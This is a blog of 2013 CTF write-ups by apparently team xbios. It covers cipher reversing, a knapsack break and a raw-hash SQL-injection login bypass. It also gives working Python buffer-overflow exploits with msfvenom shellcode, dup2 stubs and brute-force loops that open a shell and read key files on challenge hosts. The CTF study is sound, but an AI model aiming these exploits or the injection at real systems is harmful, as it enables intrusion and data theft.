Monday, March 18, 2013

ForbiddenBITS CTF 2013 - smelf 200 - [Team xbios]

For this challenge we got a 64-bit stripped executable. The binary implements a crypter, our aim is to understand the crypter and decrypt the cipher text bytes in the binary. We reversed the binary and rewrote the code in python
0x400657: mov    eax,DWORD PTR [rbp-0x14] ; eax = i
0x40065a: cdqe   
0x40065c: add    rax,QWORD PTR [rbp-0x28] ; rax = i + *argv[1]
0x400660: movzx  eax,BYTE PTR [rax]
0x400663: mov    esi,eax    ; esi = *rax ; current byte
0x400665: mov    eax,DWORD PTR [rbp-0x14]
0x400668: cdqe   
0x40066a: add    rax,0x1       
0x40066e: add    rax,QWORD PTR [rbp-0x28] ; rax = (i+1) + *argv[1]
0x400672: movzx  eax,BYTE PTR [rax]   ; eax = *rax ; fetch the next byte
0x400675: mov    edx,eax    
0x400677: sar    dl,0x7     ; dl = dl/2^7 
0x40067a: shr    dl,0x6     ; dl = dl/2^6 ; this will 0 out register
0x40067d: add    eax,edx     
0x40067f: and    eax,0x3    ; eax = eax & 0x3
0x400682: sub    al,dl       
0x400684: movsx  eax,al     
0x400687: shl    eax,0x3    ; eax = eax * 2^3
0x40068a: mov    edx,DWORD PTR [rbp-0x2c]   
0x40068d: mov    edi,edx    ; edi = 0x12345678
0x40068f: mov    ecx,eax    
0x400691: shr    edi,cl     ; edi = edi/ 2 ^ cl
0x400693: mov    eax,edi    
0x400695: xor    eax,esi    ; eax = eax ^ esi
#!/usr/bin/env python
# crypt.py

import sys

# we should decrypt this string
crypt = [0x4c, 0x10, 0x49, 0x00, 0x24, 0x09, 0x49, 0x36, 0x09, 0x05, 0x1e, 0x26, 0x25, 0x4b, 0x00, 0x74, 0x65, 0x41, 0x00, 0x1e, 0x2a, 0x4b, 0x00, 0x1e, 0x2a, 0x4b, 0x4c, 0x48]

string = sys.argv[1]
key = 0x12345678
cipher = []

for i in range(len(string)-1):
    val = (ord(string[i+1]) & 0x3) * (2**3)
    edi = key / (2 ** val)
    eax = (edi ^ ord(string[i]) ) & 0xff
    cipher.append(hex(eax))

print cipher
We couldn't figure out an exact way to reverse the cipher text though. The algorithm uses (i)th and (i+1)th byte of plain text to calculate the (i)th cipher byte. So we generated a list of possible values for each byte position. Here is the python code:
#!/usr/bin/env python
# sol.py

# we should decrypt this string
crypt = [0x4c, 0x10, 0x49, 0x00, 0x24, 0x09, 0x49, 0x36, 0x09, 0x05, 0x1e, 0x26, 0x25, 0x4b, 0x00, 0x74, 0x65, 0x41, 0x00, 0x1e, 0x2a, 0x4b, 0x00, 0x1e, 0x2a, 0x4b, 0x4c, 0x48]

key = 0x12345678

for i in range(len(crypt)):
    print "#" * 20
    for j in range(32,127):
        pos = []
        for k in range(32,127):
            val = (k & 0x3) * (2**3)
            edi = key / (2 ** val)
            eax = (edi ^ j ) & 0xff
            if eax == crypt[i]:
                pos.append(k)
        if len(pos) > 0:
            print j,pos 
[ctf@renorobert Forbidden]# python sol.py
####################
52 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124]
94 [35, 39, 43, 47, 51, 55, 59, 63, 67, 71, 75, 79, 83, 87, 91, 95, 99, 103, 107, 111, 115, 119, 123]
120 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
####################
36 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
70 [33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125]
104 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124]
####################
49 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124]
91 [35, 39, 43, 47, 51, 55, 59, 63, 67, 71, 75, 79, 83, 87, 91, 95, 99, 103, 107, 111, 115, 119, 123]
125 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
####################
52 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
86 [33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125]
120 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124
==========================================================================================================
Then we used tree diagram to reach the flag. May not be the best solution but here is the approach:

[*] First element can be 52, 94 or 120
[*] Element 94 doesn't have an equivalent XOR 2nd byte ie. there is no 36,70,104. So 94 can be eleminated
[*] Element 52 maps to [36,104] and 120 maps to [70]. So 2 possible 1st byte values [52,120]
[*] Element 36 and 104 in 2nd byte position doesn't have an equivalent XOR byte ie. no 49,91 or 125. This leaves us with only one option [70], which is child of [120]
[*] Thus we have found the first two bytes as [120,70]

Entending this approach we found upto 26 bytes. Byte 27 was left with two options [52, 120] and byte 28 was left with 3 options [48,124] mapping to previous [52] and [90] mapping to [120]. These two bytes can be easily bruteforced or guessed.

This is wat we got from tree diagram [120 - 70 - 49 - 52 - 54 - 95 - 49 - 36 - 95 - 49 - 102 - 52 - 55 - 51 - 52 - 102 - 51 - 57 - 52 - 102 - 56 - 51 - 52 -102 - 56 - 51] . Final 2 bytes are [ 52 - 48]

Here is the final text we got xF146_1$_1f4734f394f834f8340. So the flag for the challenge is 1f4734f394f834f8340

Wednesday, March 13, 2013

Backdoor CTF - Crypto 400

We have access to the code used for encryption function. With this we have to find the plain text value for the given cipher text:
168 232 100 162 135 179 112 100 173 206 106 123 106 195 179 157 123 173
Encryption function:
for ($i = 0; $i<strlen($str); $i++)
   $dec_array[] = ord($str{$i});
$ar = $dec_array;
$max = max($ar);

$key = rand(10,$max);
$key = 101*$key;

for($i=0;$i<strlen($str);$i++){
    $x = $ar[$i];
    $am = ($key+$x)/2;
    $gm = sqrt($key*$x);
    $enc = $am + $gm;
    $encrypt = floor($enc)%255; 
    echo $encrypt.' ';
}
Bruteforce seemed to be the easiest solution for the problem. Here is the approach
[*] Key value is choosen from rand(10,$max), where $max to range from 32 to 127 ie ascii printables. So we can bruteforce key value between 10 to 127
[*] Choose plain text values between 32 to 127 and perform encryption function upto the length of cipher text
[*] Check if any of key value results in count(plain text) == count(cipher text). In that case, the string we got might be the possible plain text

Here is the code to do that:
<?php

$cipher = array(168, 232, 100 ,162, 135, 179, 112, 100, 173, 206, 106, 123, 106, 195, 179, 157, 123, 173);

for($key=10; $key<=127; $key++){
    $plain = array();
    $key_new = $key * 101;
    for($i=0; $i<count($cipher); $i++){  
        for($p=32; $p<=127; $p++){
            $x = $p;
            $am = ($key_new+$x)/2;
            $gm = sqrt($key_new*$x);
            $enc = $am + $gm;
            $encrypt = floor($enc)%255;
            if($encrypt == $cipher[$i])
                array_push($plain,$p);    
        }
    }
    if(count($plain) == count($cipher)){
        $text = '';
        foreach($plain as $t)
            $text = $text.chr($t);
        echo $text."\n";
    }    
}

?>
[ctf@renorobert backdoor]# php sol.php
, f&." -i!W!Wo.*-i
myalgocantbebroken
Running the code we get two plain texts. The real plain text value is myalgocantbebroken

Monday, March 11, 2013

RuCTF 2013 Quals - Crypto 200 - [Team xbios]

Well, this was not the busiest of weekends but still we didn't have much time for the CTF. Here is a small write up on crypto 200 challenge that we solved. A python source code was given which had the key generation and crypt algorithm. Below is the encryption algorithm
def crypt(open_text, public_key):
    bts = []
    [bts.extend([int(b) for b in '00000000'[len(bin(ord(c))[2:]):] + bin(ord(c))[2:]]) for c in open_text]
    return [sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) for blk in [bts[i * 128:(i+1) * 128] for i in range(len(open_text) // 16)]] 
Algorithm performs the following operations:

[*] Creates a 8 bitstring of each character in the plain text
[*] Splits the bitsring into blocks of 128 bits
[*] Pair the bitstring list with the 128 element public key list
[*] sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) performs multiplication operation on each tuple pair and then adds them together

We were given a cipher text list with 10 elements ie. from the algorithm we can interpret that the plain text is 160 characters, 16 chars per block. Though we understood the code, we failed to recognize the crypto system until our teammate Aghosh figured out that its knapsack public key cryptosystem. First we looked at cryptanalysis of the system, this didn't work out. Later we figured out that the generated public_key is not random and can be used to retrieve the private key.

Key Generation Algorithm:
def generate_public_key(private_key): 
    n = 199285318978668966527551342512997250816637709274749259983292077699440369
    t = 32416190071
    return list(map(lambda x: (t * x) % n, private_key))
This is what we got when analysing the public_key list:
sage: factor(1050809378719198985041)
32416190071^2
sage: factor(2101618757438397970082)
2 * 32416190071^2
sage: factor(6304856272315193910246)
2 * 3 * 32416190071^2
sage: factor(18914568816945581730738)
2 * 3^2 * 32416190071^2
sage: factor(56743706450836745192214)
2 * 3^3 * 32416190071^2
sage: factor(170231119352510235576642)
2 * 3^4 * 32416190071^2
Looks like the private_key is generated based on the given 't' value. This is how we generated the private_key list
private_key = [t]
for i in range(0,127):
    private_key.append(2 * 3**i * t)
The generated private keys can be verified using the given generate_public_key() function. We got a match. Then we wrote the routine for inverse knapsack sum to get the flag. Here is the final code:
#!/usr/bin/env python

import sys

n = 199285318978668966527551342512997250816637709274749259983292077699440369
t = 32416190071
t_inv = 3607086840002694423309872675805192458275553329397325526691156370525160 #sage: inverse_mod(t,n)

private_key = [t]
for i in range(0,127):
    private_key.append(2 * 3**i * t)

cipher_text = [
  1387977778999926469357780220487630125151962348185941993910077394771302677,
  1192236960845781949613172279312582839292898077268409678421304772227241438,
  1295152741157953792099179799985052248167548374589648818528421499250916999,
  828724787424187908000366458781164595076558885463707900320215679908512646,
  1179926879709109047038661681316962368287877340885819899201698611790531134,
  965171312356484716595815857561729919489896088681139239093293829323154838,
  1099367377207651843612375443021502714028353049437532392256489525051038347,
  1374891605015623267623322424512489936836885983493815443812918444687247914,
  1152880248428103510879661300981452627677389745079857275081612568623556291,
  962409003220820525413536841942678826309419979028794415812582008820263317
       ]

def decrypt(cipher, private_key):   # inverse knapsack
    
    bts = ['0']*128                 # generate bit string
    for i in range(len(private_key) - 1, -1, -1): 
        if cipher >= private_key[i]:
            bts[i] = '1'
            cipher = cipher - private_key[i]

    for j in range(0,128,8):        # generate chars out of every 8-bits
        sys.stdout.write(chr(int(''.join(bts[j:j+8]),2)))

for c in cipher_text:               # iterate through 10 blocks
    decrypt((c * t_inv) % n,private_key)
print ''
Running the code, we got the flag: bf145f32d9637c37de3cb5b470b2c44f8e466bc26e06725ac1517006ab70eac23907a37da8715981c7de813dc03f8104381eadf57d50dc4841d7956fffcd22eefe8ec62e9dea680f78d18352b4bb3ec2

Sunday, March 3, 2013

Codegate 2013 Quals - Vuln 100 [ Failed Attempt ] & Updated Solution

As the title says this is not a working solution for vuln 100 but just a description of my approach to exploit the given x86_64 binary. The service running on port 6666 asks 3 questions, once we successfully answer the quiz it asks for our nickname. Supplying a nickname of 272 bytes will completely overwrite the destination pointer of strcpy() call. After this when strcpy() is called, it tries copying the data passed to it to the overwritten destination pointer. With this we can write anything anywhere in memory. Since strcpy() is used, we cannot have NUL byte in our string.

The idea of exploit was to pass 270 bytes of data, overwrite destination pointer of strcpy() with a stack address thats 264 bytes away from the address where rip is saved. Thus when strcpy is called to copy the same data, it will overwrite the saved rip with the address of strcpy()'s destination pointer. But the issue here is we should know the address in stack where rip is saved for the funtion at 0x400c69.

Though I managed to write an exploit under gdb session where I know the address at which rip is saved, bruteforce of stack address didn't help in the case of remote machine. Below is the POC exploit:
#!/usr/bin/env python

import struct
import socket
import time

host = "192.168.56.110"
#host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD=/usr/bin/id -a x86_64 -b '\x0a\x00' # 95 bytes
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xa1\x4a\x74\xe7\x7a\x9b\x43\xfc\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x71\x2c" +
             "\x7e\x32\x20\x6c\x9e\xc8\x24\x5b\x94\x12\x9b\x10\xb4\x28" +
             "\xad\x1c\xca\x19\x9b\x43\xb4\x28\xac\x26\x0f\x76\x9b\x43" +
             "\xfc\x8e\x3f\x07\x95\x55\xf9\x2a\x92\x8e\x23\x10\xe7\x2c" +
             "\xcc\x0b\x75\x47\x45\x71\xe7\x7a\x9b\x43\xfc")

""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x8                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x08\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
print soc.recv(1024)

soc.send("arsenal\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
print soc.recv(1024)
time.sleep(0.5)

soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffdd28 - 264)) # 272 bytes overwrites pointer
print soc.recv(256)
print soc.recv(256)
[ctf@renorobert CodeGate]# python try.py
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.



It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)

good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)

good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)

good!3
rank write! your nickname:

uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
This was tested against ubuntu 12.04 x86_64 machine. May be I should have used different approach or tried information leak.
UPDATED SOLUTION:
Finally managed to solve the challenge, though the exploitation technique is not much reliable. This was the idea
[*] Perform a one byte overflow on the destination pointer of strcpy() using bruteforce
[*] If the destination pointer and the address where rip is saved differs only by last byte, strcpy() can end up copying bytes like our previous exploitation technique and jump into shellcode.

Above idea didn't work out but resulted in leaking some stack data
for i in range(1,256):
    soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("B",i) + "\x00")
strcpy()  
0x400cd5: mov    rdx,QWORD PTR [rbp-0x118]
0x400cdc: mov    rax,QWORD PTR [rbp-0x8]
0x400ce0: mov    rsi,rdx
0x400ce3: mov    rdi,rax
0x400ce6: call   0x400a30 <strcpy@plt>
0x400ceb: mov    rax,QWORD PTR [rbp-0x8]      ; destination pointer moved into rax after call to strcpy()
0x400cef: mov    QWORD PTR [rip+0x2013e2],rax # 0x6020d8
0x400cf6: leave  
0x400cf7: ret

send()
0x401252: mov    rsi,QWORD PTR [rip+0x200e7f] # 0x6020d8 ; buffer address for send()
0x401259: mov    eax,DWORD PTR [rbp-0x8]
0x40125c: mov    ecx,0x0
0x401261: mov    edi,eax
0x401263: call   0x400a20 <send@plt>
Information leak occurs because as we bruteforce the destination pointer with memcpy() overflow, strcpy() will itself overwrite the destination pointer before it being saved to 0x6020d8. Since strcpy adds a NUL termination, this lowers the address of destination pointer before handing it over to send(). Thus send() prints additional data from stack. Here is what I got for i == 0x8f
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xe1\xff\xff\xff\x7f\x00\x00\x90\n@\x00\x00\x00\x00\x00\xc0\xe6\xff\xff\xff\x7f\x00\x005\xf2\xde\xf7\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x90\xe0\xff\xff\xff\x7f\x00\x000\xbcy\xf7\xff\x7f\x00\x00\xc8\xe2\xff\xf7\xff\x7f\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\xeb\x0c@\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xc8\xe6\xff\xff\xff\x7f\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H1\xc0\xb0!H1\xff@\xb7\x08H1'
We can spot some addresses here: 0x7fffffffe090, 0x7fffffffe1a0, 0x7fffffffe6c0, 0x7fffffffe08f, 0x7fffffffe6c8, 0x7fffffffe2c8. We already have the hint that ASLR is disabled. So we can look at address range starting at 0x7fffffffe000. Performing a bruteforce resulted in code execution at address 0x7fffffffe0a0. This is the final solution:
#!/usr/bin/env python
# sol.py

import struct
import socket
import time

host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD='/bin/cat key' -a x86_64 -b '\x0a\x00' # 95 bytes

shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xb2\xd7\x14\x82\xd9\x2b\xb4\x70\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd8\xec\x4c" +
             "\x1b\x91\x90\x9b\x12\xdb\xb9\x3b\xf1\xb1\x2b\xe7\x38\x3b" +
             "\x30\x7c\xaf\xba\x2b\xb4\x38\x3b\x31\x46\x6a\xd4\x2b\xb4" +
             "\x70\x9d\xb5\x7d\xec\xf6\x48\xd5\x04\x92\xbc\x71\xfb\xd9" +
             "\x7d\xe3\x38\x3b\x31\x1b\x87\xd9\x2b\xb4\x70")
""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x4                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x04\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
soc.recv(1024)

soc.send("arsenal\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffe0a0)) # 272 bytes overwrites pointer
soc.recv(1024)
soc.recv(1024)
print soc.recv(256)
[ctf@renorobert CodeGate]# python sol.py
Key is "Very_G00d_St6rt!!_^^"
So the flag for the challenge is Very_G00d_St6rt!!_^^ but the CTF is over :P More reliable exploit would be nice.

Codegate 2013 Quals - Web 100

We were given the source code of this challenge. To get the flag we have to login as 'admin'. Below is the php code:
$flag = "/flag.txt";
$id = $_POST['user_id'];
$ps = $_POST['password'];
mysql_connect("localhost","codegate","codegate");
mysql_select_db("codegate");

$id = mysql_real_escape_string($id);
$ps = mysql_real_escape_string($ps);

$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");
$row = mysql_fetch_assoc($result);

if (isset($row['user_id'])) {
 if ($row['user_id'] == "admin") {
  echo "hello, admin<br />";
  die(file_get_contents($flag));
 } else {
  die("hello, ".$row['user_id']);
 }
} else {
 msg("login failed..");
}
The issue with code is that hash() function which outputs raw binary data leading to SQL injection.
string hash ( string $algo , string $data [, bool $raw_output = false ] )
raw_input:
When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.
To bypass the login, we need to find a value that when hashed with whirlpool results in string containing '='
<?php
for($i=0 ;$i<10000000; $i++)
    if(strpos(hash("whirlpool",$i, true),"'='") !== false)
        echo $i."\n";
?>
[ctf@renorobert CodeGate]# php brute.php 
364383
527980
629987
708365
991410
1311789
1608604
1974557
^C
Logging in with the above passwords results in login bypass. The flag for the challenge is DAER0NG_DAER0NG_APPLE_TR33

Monday, February 18, 2013

Ghost In The Shellcode 2013 CTF - Pwnable 100 - Question 8 Shiftd [Team xbios]

The given file shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310 is a ELF 64-bit LSB executable. The binary first checks for a string "NowIsTheWinterOfOurDiscountTent" using strcmp(). Once this is passed, name is requested. After this there is a request to provide a time format. Data is accepted using read() which is vulnerable to buffer overflow. 1072 bytes of data can overwrite saved RIP.
Here is the gdb session:
NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?
AAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAA����>!
Please provide a time format:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Your formatted time is:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Thank you! Come again!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004009eb in ?? ()
(gdb) x/x $rsp
0x7fffffffdf88: 0x4242424242424242
(gdb) x/10x $rsp
0x7fffffffdf88: 0x4242424242424242 0x00007fffffffe0c8
0x7fffffffdf98: 0x0000000100400643 0x6568547349776f4e
0x7fffffffdfa8: 0x664f7265746e6957 0x6f6373694472754f
0x7fffffffdfb8: 0x00746e6554746e75 0x0000000000000000
0x7fffffffdfc8: 0x0000000000000000 0x0000000000000000
There is no canary or NX protection but we have ASLR to bypass. To bypass ASLR we look for valid pointers within the stack, do a partial overwrite using bruteforce and make it point into our NOPs. In the gdb session above, we see that there is a stack address immediately after the saved RIP.To exploit the binary:

[*] Overwrite saved RIP with address of 'ret' instruction in text segment
[*] Overwrite LSB of the address immediately after saved RIP with NUL byte. This will lower the address
[*] Bruteforce the next byte so that it will point into our NOPs
[*] Our shellcode gets executed when we hit the right address

The key file was located in /home/shiftd/. Here is the final exploit to read the file
#!/usr/bin/env python

import socket
import struct

ip = '204.236.213.69' # shiftd.2013.ghostintheshellcode.com
port = 5177 

# msfvenom -p linux/x64/exec CMD=/bin/sh -a x86_64 -b '\x0a' # 47 bytes

shellcode = ("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
             "\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
             "\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57" +
             "\x48\x89\xe6\x0f\x05")

# 1072 bytes to overwrite RIP

payload  = struct.pack("B",0x90) * 975
payload += shellcode                     # 47 bytes
payload += struct.pack("B",0x90) * 42  
payload += struct.pack("<Q",0x400647)    # overwrite saved RIP with ret2ret
payload += struct.pack("B",0x00)         # overwrite last byte of pointer with NUL

# bruteforce stack address pointer

for i in range(11,256):
    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect((ip,port))
    soc.send("NowIsTheWinterOfOurDiscountTent\n")
    print soc.recv(512)

    soc.send("AAAAAAAAAAAAAAAA\n")       # send name
    print soc.recv(512)

    byte7 = struct.pack("B",i)
    final = payload + byte7 + "\n"
    soc.send(final)                      # send time format
    print soc.recv(2048)
 
    soc.send("cat /home/shiftd/key\n")
    print soc.recv(1024)
Since this is not a one shot exploit,we had to wait for sometime to get the shellcode to be executed
[ctf@renorobert PWN100-shift]# while true;do python exploit.py;done

#########################################################################

What is your name?

Welcome, AAAAAAAAAAAAAAAA�����!
Please provide a time format:

Your formatted time is:
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j;X�H�/bin/sh

Thank you! Come again!

http://shifty.urbanup.com/4195551

##########################################################################

So the flag for the challenge is : http://shifty.urbanup.com/4195551

Wednesday, January 2, 2013

Hack You Too CTF - Crypto 500 - AllahAkbar

Description:
We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization. According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.
Let us know the md5 hash of deciphered 'bin' file.
Intelligence data: allahakbar.zip


Encryption Algorithm:
function enc(plaintext){
        key = random() mod (length(plaintext) * 2); 
        ct = [];
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
        return ct;
}
Cipher text in 'bin' file:
